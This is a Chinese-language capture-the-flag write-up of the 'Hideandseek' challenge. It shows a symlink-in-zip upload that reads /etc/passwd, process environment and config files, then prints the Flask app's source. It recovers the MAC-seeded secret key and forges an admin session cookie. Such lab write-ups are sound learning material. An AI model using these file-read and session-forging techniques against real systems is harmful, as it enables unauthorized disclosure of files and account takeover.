Hideandseek
先用guest登录，提示上传zip文件，上传后进行解压，利用软链接实现任意文件读取
ln -s /etc/passwd 1.jpg
压缩1.jpg上传
zip -y 1.zip 1.jpg
读取/proc/self/envion
HOSTNAME=b07efea7a3bfSHLVL=1PYTHON_PIP_VERSION=19.1.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/uwsgi.iniWERKZEUG_SERVER_FD=3NGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/static_=/usr/local/bin/pythonUWSGI_CHEAPER=2WERKZEUG_RUN_MAIN=trueNGINX_VERSION=1.15.8-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.15.8.0.2.7-1~stretchLANG=C.UTF-8PYTHON_VERSION=3.6.8NGINX_WORKER_PROCESSES=1LISTEN_PORT=80STATIC_INDEX=0PWD=/appPYTHONPATH=/appSTATIC_PATH=/app/staticFLAG=not_flag
读取/app/uwsgi.ini
uWSGI是一个Web应用服务器，它具有应用服务器，代理，进程管理及应用监控等功能。它支持WSGI协议，同时它也支持自有的uWSGI协议。
[uwsgi] module = main callable=app logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log
这里无解了，据说这里的链接应该是
module的返回值应该是module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main 访问/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
应该是BUU的配置不对，读取源码
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='0.0.0.0', debug=True, port=10008)
其中随机数的种子是uuid.getnode()，本地的MAC地址的十进制表示，获取本地的MAC地址。
/sys/class/net/eth0/address
02:42:ac:10:b9:28
转换MAC地址
import uuid
import random
if __name__ == "__main__":
mac = "02:42:ac:10:b9:28"
temp = mac.split(':')
temp = [int(i, 16) for i in temp]
temp = [bin(i).replace('0b', '').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp, 2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr) # 结果为 90.979214536644
利用MAC地址做SECRET_KEY，代入flask_session_manager
eyJ1c2VybmFtZSI6ImFkbWluIn0.YP4y5w.4YJJKSNFQhpDtLEBQDf7dz6Kr5Q
Last modified 8mo ago